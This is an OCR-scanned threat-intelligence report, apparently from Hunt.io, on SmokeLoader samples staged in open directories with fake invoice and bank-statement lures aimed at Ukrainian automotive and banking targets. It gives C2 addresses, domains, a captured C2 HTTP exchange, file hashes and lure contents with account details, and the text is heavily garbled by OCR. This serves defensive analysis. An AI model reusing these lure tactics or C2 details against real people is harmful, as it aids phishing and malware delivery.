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Hunt researchers identified an open directory hosting SmokeL.oader samples alongside lure documents
targeting Ukraine's automotive and banking sectors. A second related directory contained the same malware
but with different lures, suggesting a broader campaign. The misconfigured servers exposed the staging and

distribution methods used in this campaign, offering direct insight into the threat actor's operational tactics.

SmokeLoader remains a tool for cybercriminals and suspected Russian threat actors, often used for initial access
before delivering secondary payloads such as credential stealers and remote access trojans (RATs). Recent reports
highlight its continued deployment in operations against Ukrainian organizations, reinforcing its role in both

cybercrime and espionage-driven attacks.

The following sections examine the findings, analyze the malware and lure files, and break down the malicious

infrastructure supporting this activity.

SmokeL oader: A Brief Overview

First identified in 2011, SmokeLoader has evolved into a versatile and persistent threat in the cyber landscape.
Originally designed as a malware loader, it remains a preferred tool for adversaries due to its lightweight nature
and ability to execute additional payloads on compromised systems. Its modular framework allows operators

to tailor functionality, making it effective for both large-scale operations and more targeted intrusions.

While SmokeLoader has long been associated with financially motivated campaigns, its presence in
operations against Ukrainian organizations highlights its continued adaptability. Its obfuscation techniques and
ability to deliver a variety of secondary malware ensure it remains a reliable choice for threat actors looking to

maintain access, evade detection, and distribute additional payloads as needed.

Open Directory Findings: What We Discovered

Browsing Hunt's AttackCapture™ listing for recently scanned open directories, researchers identified an

exposed server at 2.59.163[.]172, hosted on the Global Connectivity Solutions LLP network in Poland. The
directory contained multiple Windows executables and PDF files labeled "invoce," a likely misspelling of
"invoice." The file names suggest the actor leveraged financial-themed lures, a common tactic in phishing

campaigns.
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As shown in the figure below, Hunt automatically detected and tagged several of these files as SmokeL oader
samples. A subfolder named "ukraine" stands out, suggesting a deliberate focus on Ukrainian targets. The

directory's structure and contents indicate it was set up to deliver malware rather than being an incidental

collection of files.

Exposed Open Directories

- Total files  Total size ~ Host
&)

6 903.79 KB http://2.59163172 ()
Hunt IP Search

. @ GLOBAL CONNECTIVITY SOLUTIONS LLP
Timestamp

Q) == Mazovia, PL
2025-01-31 06:02 4 days ago

Matched: (2)
Q Search file name Settings @
File name File Size Tags System Tag  Malware Tags Last seen First Seen
fukraine/ 254.80 KB m 11012) (@ 11082) (@ 11120) (@ 11614.001) (3¢ Smokeloader ) 2 files »
- invoced15.pdf 142.49 KB 1 day ago 4 days ago
- svcl.exe 112.31 KB 3 11012 - Query Registry Mitigation ) 1day ago 4 days ago
3 11082 - System Information Discovery Mitigation ) @ Copy File URL
( 3% T1120 - Peripheral Device Discovery Mitigation ) 4 Copy File Hash
(3% 11614.001 - System Language Discovery, ) (3 Smokeloader |
: @ Search by SHA256 2
f/invoce415.pdf 142.49 KB 1day ago ¥ Download File or Share
/svc.exe 253.00 KB (3% T1012 - Query Registry Mitigation ) 1 day ago @ Download zip (pass: infected)
( ;.( 1082 - System Information Discovery Mitigation )

¥ T1120 - Peripheral Device Discovery Mitigation )

Figure 1: Contents of the open directory at 2.59.163[.]72 in Hunt.

In AttackCapture™, pivoting on files is as simple as clicking on the three dots next to the file and selecting
"Search by SHA256." In this case, the number next to the option was 2, indicating the same executable file was
hosted in another directory.

That second server, located at 88.151.192[.]50 and hosted on the Gloebal Connectivity Solutions LLP network in
Ukraine, contained the same three Windows files--svc.exe, svcl.exe, and svc2.exe--indicating that both servers

were likely part of the same staging infrastructure.
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Exposed Open Directories

- Total files  Total size ~ Host
B S
8 762.48 KB http://88.151192.50 ()
Hunt IP Search
@) GLOBAL CONNECTIVITY SOLUTIONS LLP
Timestamp

2025-01-31 07:18 4 days ago

Matched: (2

Q Search file name

== Kyiv City, UA

File name File Size Tags System Tag ~ Malware Tags Last seen First Seen
Jukraine/ 136.07 KB (@ 11012 ) (@ 1082 ) (@ 11120 ) (@ T1614.001 ) (3 Smokeloader ) 2 files +
> invoce.pdf 23.76 KB 1 day ago 4 days ago
- svc2.exe 112.31 KB (%% T1012 - Query Registry Mitigation 1day ago 4 days ago
¥ 71082 - System Information Discovery Mitigation )
(% 11120 - Peripheral De ry Mitigation )
(% 71614.001 - System Lan
finvoce.pdf 23.76 KB 1 day ago 4 days ago
finvoce2.pdf 96.15 KB 1 day ago 4 days ago
/putty.exe 253.00 KB (% 71012 - Query Regist 1 day ago 4 days ago

( 3% 71082 - System Inform

Settings @

on y_Mitigation )
" T1120 - Peripheral De ry Mitigation )
% T1614.001 - System Language Discovery ) (% Smokeloader

Figure 2: Screenshot of similarly named executables in Hunt.

The above screenshot shows the directory structure closely mirrors our first server, including the "ukraine"

subfolder. However, there are two key differences:
o The PDF files are named invoce.pdf and invoce2.pdf.

e A newly detected file, putty.exe, appeared alongside the Smokel.oader samples. While unrelated to the
financial lures, its presence suggests an attempt to deceive users seeking to download or execute the

legitimate SSH client, a common tactic for malware delivery.

A single domain resolves to this IP, www][.]connecticutproperty|.]ru, which will appear again later in this post.

PDF Lures

Among the files found on the initial server, a single PDF, "invoce415.pdf," was used in conjunction with the
malicious files. The document posing as an invoice from Inta (Ilta), an official importer of Peugeot vehicles in
Ukraine since 1992. The company provides sales, service, and leasing options for Peugeot, Citroén, and DS

vehicles, making it a plausible lure for targeting individuals or businesses in the automotive sector.
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PEUGEOT CITROEN

BukoHaBelb:

Toeapucmeo 3 o6mexeHor gidnogidanbHicmio "Inma”

01103, M. Kuie, woce 3aniaHuyxe, 6ya. 6,

Tenedon: 044-3909777, B B

p/p Lo s e y Banky AT "PAMODANU3EH BAHK", m.Kuis, M®O 380805,
koa 3a EAPMNOY 14284053, INMH 142840526551, Ne ceia. 100223625,

€ NNaTHUKOM NoAaTky Ha npuﬁyrox Ha 3aranbHux niAcraaax

Tenedbou: 044-3909777

Bnachuk nn "Kawrau™ PaxyHok
MnatHuk nn "Kawrax" Mpoaax
Kon knienta 32294596 Ne M330001265/M3C00000836

16763, YepHiriscbka oBnacTb, |YHAHCBLKUIA paioH, M. Onbluaxa, Byn. LLUmarkis, 6ya. 198
+38-096-3779293,
+38-046-3327683

Ten. KoHTakTHa ocoba

ABTOMOGifb: Peugeot PART TEPEE
Bupa onnatwn: BearotiskoBuit

[Oarta cknagaHHa 18.10.2024 16:10

MeHemxep 3 nocrtavaHHs /Bigain
MaTepianbHO-TeXHI4YHOro nocravaHHsa/ Myxa
Makcum BitaninoBuy

[epxaBHuit Homep |Tun/mopens ABUryH Kopo6ka nepenayHomep ky3osa [ata npopaxy [aTa octanHboro TO Mpobir, km
CB0277BM 1 VF37R9HF0JJ562351 23.05.2021

Cknaposi yacTuHu (matepianu)

Ne Wncpp Ha3sa petani (marepiany) K-t | OB u'";zﬁt”:::ea 3Hmika, % Uina Grep:iHl'InB, Cyma s::l nas,
1]00001109AY ®INLTP MACNAHUA 1] wr 483,38 7 449,54 449,54
2[00001444TV ®INLTP NOBITPAHUA 1] wr 895,67 7 832,97 832,97
3]0000381788 HAKIHEYHWK TAMN KEPMA 1] wr 1 406,65 7 1308,18 1308,18
4(0000381789 HAKIHEYHWK TAM KEPMA 1| wr 1391,19 7 1293,81 1293,81
5[00005094E7 BTYJIKA CTABIIIBATOPA 2| wr 163,47 7 152,03 304,06
6[00006447XF OINLTP NOBITPAHWUN CANIOHY B KO 1] wr 862,90 7 802,50 802,50
7[9809721080 OINLTP NAITMBHUM 1 wr 1687,13 7 1569,03 1569,03

Bceboro 6e3 MNAB 3a TMU, MNPH: 6 560,09
Mnarexi Cyma 6e3 NAB nos Cyma 3 NAB

CymMma 3HMXKMU Ha nocnyru 0.00 MPH BCbOr0 3a nocnyru, F'PH

CyMa 3HMXKMU Ha cknaaoBi yacTunm 493,77 'PH BCbOIO 3a cknagoei yactuxu, NPH 6 560,09 1 312,02 787211

3aranbHa cyma 3Huxku 493,77 IPH BCbOrO 3a paxyHkom, FPH 6 560,09 1312,02 7 872,11

Bcboro HailmeHyBaHb 7, Ha cymy 7 872,11 TPH
Cyma ao cnnartu: Cim Tucsauy BiciMcoT cimaecsT ABi rpuBHi 11 Koninok
Y 1.4. NAB: OaHa TUcAYa TpUCTa ABaHaAUATbL rpMBeHb 02 KONivKK

PaxyHoK AiiCHUI NPOTSArom Tpbox 6GaHKiBCKUX AHIB. B pa3i HecnnaTtv npoTArom Tpbox GaHKIBCbKMX AHIB, CyMy Gyae 3mMiHeHo.
IHopmauis ans 3

1. Peseps Ha cknagosi YacTuHu (MaTepianu) 3bepiraeTbea Ha npoTasi 5 aHis. MNpogosxeHHs TepMiHy peaepsa MOXnuBee 3a Tern. .
2. ENeKTpoHHI 6noku, LUMTKM NPUNaAiB Ta 3an4acTuHK, AKi Byny 3amMoBNeHHI iHAMBIAYanbHO, 0GMIHY Ta MOBEPHEHHIO He NiANAraTh.

Yeara! [losipeHocTi Tpeba Bunucysati arigHo iHcTpykuil Ne 99 Bia 16.05.96 p. Y Bunaaky npuabaHHs 3anyacTuH BkadyBaT HOMEHKNATYpY Ta KinbkiCTb ToBapHO-MaTepianbHux
LiHHoCTei. Y BunaaKky TexoBenyroByBaHHsA Y peMOHTY aBToMoBins BkadyBaTu Mofenb aBToMoGINg Ta AepKHOMEpP, OAVHULIO BUMIPY - <WIT.> Ta KiNbKICTb - <oauH>. [loBipeHicTb,
O BUNUCaHa Ha CyMmy, He anI;iMaE'leﬂ.

m.n

Odopmue MeHemken 3 nocTtayanHs /Binnin marepianbHO-TeXHIYHOro nocrayaHHa/ Mvxa Makcum BitaniitoBuy

Figure 3: Lure document posing as an invoice for vehicle services.

While fake invoices are a common phishing tactic, referencing a well-known Ukrainian business adds
credibility to the lure, increasing the chances that a recipient will engage with it. This document was likely
distributed as part of a phishing operation, where the attacker urged the recipient to download and open the file,

leading to the execution of SmokeLoader.

Within the second directory, the first of the two PDFs, invoce.pdf appears to be an account statement from
Raiffeisen Bank, a major commercial bank in Ukraine. Raiffeisen was designated a systemically important bank
by the National Bank of Ukraine in 2024.
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Raiffeisen
BANK
PekBi3sutn gns 3apaxyBaHHs KOLUTIB
HQ NOTOYHUN PAXYHOK
BaHk oTpumysaua AT "Pait¢pdaiizen bank"
Otpumyeay TOB "MPOMTOPICEPBIC+"
Kop €APMNOY 45496905
Homep paxyHky/IBAN UAZ -
Baniora paxysky UAH

Figure 4: Screenshot of invoce.pdf mimicking Raiffeisen Bank.

The second file, invoce2.pdf, is another financial statement dated at the end of July 2024. The document purports
to be from __Sense Bank, one of Ukraine's largest financial institutions. Previously known as Alfa-Bank before
2022, Sense Bank remains a recognizable name in the country's financial sector, making it an effective lure for

phishing attempts.
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Bunucka 3a paxyHKaMm sense bank

31.07.2024
> CcopmosaHa 01.08.2024 07:32

kopuctysavem 168567F1

baHk AT "CEHC BAHK" Koa 6aHky 300346
IBAN UA 05 300346 0000026008016856701 CTOB " 3/TATOOA "
Ban. 980/UAH [ata 31.07.2024
[ata nonepeaHboi onepadii 30.07.2024
[Jebet Kpeaut
BxiaHwi 3anuwok 0.00 1332612.79
N2 3.n. N2 gok [ata Koa 6aHky N2 paxyHka [ebet Kpeawut
1 2104 31.07.2024 300335  UA 32 300335 0000000260022236417 139000.00 0.00
2 2103 31.07.2024 300335  UA 32 300335 0000000260022236417  1220000.00 0.00
3 917 31.07.2024 334851  UA 81 334851 0000026003962481899 0.00 26750.35
Ycboro obopoTis 1359000.00 26750.35
BuxigHwuii 3anmiok 0.00 363.14
YCbOro AOKYMEHTIB 3 Hacymy: 1385750.35
Y TOM uncni:
3a nebetoM paxyHky 2 Hacymy: 1359000.00
3a KpeauToM paxyHKy 1 Hacymy: 26750.35
YCcbOro AOKYMEHTIB 3 mHacymy: 1385750.35
Y TOoM unchi:
3a pebeTom paxyHky 2 Hacymy: 1359000.00
3a KpeAnuTOM paxyHKY 1 Hacymy: 26750.35

AKUIOHEPHE TOBAPVIC.TBO
“CEHC BAHK

|aenTHdiKauiAHWA KOR 23494714
xon Gawxy 300346

A7

Figure 5: Lure document imitating Sense Bank.
Malware Analysis

Recent reporting from AhnLab and Trend Micro detailed Smokel.oader campaigns leveraging 7-Zip archives
for delivery. While that specific technique was not present in the open directories we analyzed, there were
noticeable overlaps-lure documents targeting Ukrainian organizations, domains following similar naming

patterns, and a known SmokeL.oader command-and-control server.
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Once executed, SmokeL.oader injects into explorer.exe and creates a duplicate of itself in the AppData directory

under the name "hbasjiu" to evade detection. It then establishes communication with the following command-

and-control servers via HTTP POST requests:

e 94.156.177[.172:80

e 2.59.163[.]71:80

Notably, network traffic analysis revealed that each request contained a dynamically changing Referer header,

with values generated from domain generation algorithm (DGA) domains.

The malware's configuration also contained hardcoded domains, though no additional payloads were observed

during analysis:
 http://constractionscity1991][.]lat
¢ http://restructurisationservice[.]Jru

 http://connecticutpropertyl[.Jru

POST / HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://fpqunrgqdttjullf.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.8; rv:11.0) like Gecko
Content-Length: 135

Host: restructurisationservice.ru

Data Raw: al 5f 78 55 80 45 51 bc c@ 42 d3 b9 fd b3 5e 4a 5d 43 b3 5f 6a ce 40 2b dc 22 cd 6¢c 73 f4 73 55 cb 56 dd 8a 46 aa 06 3b 2f
cb cd 11 b3 45 16 4d a6 60 28 le cf 32 6d 2d d9 82 ec 5e cd da 3 84 e5 8c 8d e@ 18 1d ce ca bf 4a 72 43 29 be 8a 42 67 bb
Data Ascii: _xUEQB~J]C_j@+"1lssUVF;/EM" (2m-~JrC)BgZlpIeZ5>@SwA@DZ

HTTP/1.1 404 Not Found

Server: nginx

Date: Tue, 04 Feb 2025 21:39:31 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

Data Raw: 31 39 66 0d @a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20
48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d @a 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e @d Ba 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6 74
20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d @a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e @d @a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64
3c 2f 68 31 3e Od @a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6
f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e @d @a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6¢ 79 2c 20 61 20 34 30 34 20 4e
6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢c 65 20 74 72 79 69 6e 67 20
74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73
74 2e 3c 2f 70 3e @d @a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e [TRUNCATED]

Data Ascii: 19f<!DOCTYPE HTML PUBLIC "“-//IETF//DTD HTML 2.@//EN"><html><head><title>484 Not Found</title></head><body><h1>Not Foun
d</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to
use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at restructurisationservice.ru Port 8

0</address></body></html>0

Figure 6: Example C2 communications (Source: Joe Sandbox).

Final Note

Hunt users can explore additional open directories hosting SmokeLoader and multiple other malware families in

AttackCapture™ by searching for the tag.
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Open Directory Search Malicious Files

Files

17
Q Search files by keyword
Hostname File URI Labels Tags SHA256 Modified
http://2.59163.172 2.59163172/svc2.exe & # & (2 4 days ago
http://2.59.163.172 2.59.163.172/ukraine/svcl.exe + # & (2 4 days ago
http://2.59163.172 2.59163172/svc.exe 4 # & (2 4 days ago
http://88.151.192.50 88.151.192.50/ukraine/svc2.exe & # & (2 4 days ago
http://88.151192.50 88.151192.50/putty.exe ‘ 4 & (2) 4 days ago
http://88.151.192.50 88.151.192.50/svc.exe +, # & (2 4 days ago
http://18.230.108.113 18.230.108.113/files/traf.exe & # &0 1 week ago
http://spotcarservice.ru/fdjskf  spotcarservice.ru/fdjskf88cvt/yumba/putty.exe & # & 2 1 month ago

88cvt/yumba

http://spotcarservice.ruffdjskf  spotcarservice.ru/fdjskf88cvt/yumba/puttyl.exe 4 # & (2 1 month ago
88cvt/yumba

https://3142.76109:443 3142.76:109_443/_25APPDATA_25vcutvew.exe & # & (0 9 months ago
https://3.142.76109:443 3.142.78.109_443/_25APPDATA_25ihghgva.exe 4 # & 9 months ago
http://109.186.217.138:80 109.186.217.138_80/dd4979e886bd46b6a5c618eb78b4525f36d 3fabead9cbabblded 2ffal77adéc # & 0 1year ago
ed.exe
4,
http://77.91.68.78 77.91.68.78/lend/rh111.exe & # & (0) 1 year ago

Figure 7: Results of searching AttackCapture™ for the SmokeLoader tag in Hunt.

Conclusion

Our findings highlight how open directories continue to expose malware distribution operations, providing
direct visibility into threat actor infrastructure, targeting, and execution methods. The uncovered servers
contained SmokeL oader samples staged alongside financial-themed lure documents impersonating Ukrainian

banks and businesses---tactics consistent with previously observed campaigns.

By tracking open directories, defenders can gain early insight into adversary behaviors, helping to identify

active malware campaigns before deployment at scale. Researchers can use AttackCapture™ to search for

SmokeLoader and other malware families, uncovering additional staging servers and refining detection strategies.

Network Observables and Indicators of Compromise (IOCs)

IP Address ASN Domains Notes
GLOBAL Open directory containing lure
2.59.163[.]172 CONNECTIVITY N/A PDF documents and
SOLUTIONS LLP SmokeLoader samples.
GLOBAL
Shares Windows executables
88.151.192[.]71 CONNECTIVITY www.connecticutpropertyl[.Jru )
with 2.59.163[.]172.
SOLUTIONS LLP
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IP Address ASN Domains

downloadmanager[.]ru

oncomnigos[.]ru

consultationoffice[.]ru

) wwwl.]spotcarservicel.]ru

94.156.177[.]172  Railnet LLC i )

www[.]fileexportinc[.]ru

restructurisationservice[.]ru

fileexportinc[.]ru

constractionscity1991[.]lat

Host Observables and Indicators of Compromise

Filename SHA-256

Notes

Known SmokelL.oader C2. The
following domains also resolved
to 66.63.187[.]25 in late
December 2024:
constractionscity1991[.]lat

ns2.constractionscity1991[.]lat

invoce415.pdf 9833cbd22fd50181f8939114920e883bacf8d727337f5dcdf4450d0312ecal88

svc.exe £8bd5f0408409ea63a270d5aad8da5f0cb557f9a82e0da3e8077cbe589288054
svcl.exe 1118a93cc63a70ba8348182f7012ddbeecf890345941c82376ac967faf55a295
svc2.exe 4b00565a29eeb0446393d0538e8f24de232339cf3ffb6a76a2bce3bal60c2066
invoce.pdf 5e7602b9073b8cf5c1abafc6d0c8366545da65d2b48eb109f1bd9f40a58e73c0
invoce2.pdf 7991bfff4eb5f50aa9f5d3d95064411987a29de9621fc5afca9e4978ca568941

putty.exe f8bd5f0408409ea63a270d5aad8da5f0cb557f9a82e0da3e8077cbe589288054

Source: https://hunt.io/blog/smokeloader-malware-found-in-open-directories-targeting-ukraine-s-auto-banking-industries

Page 9 of 9



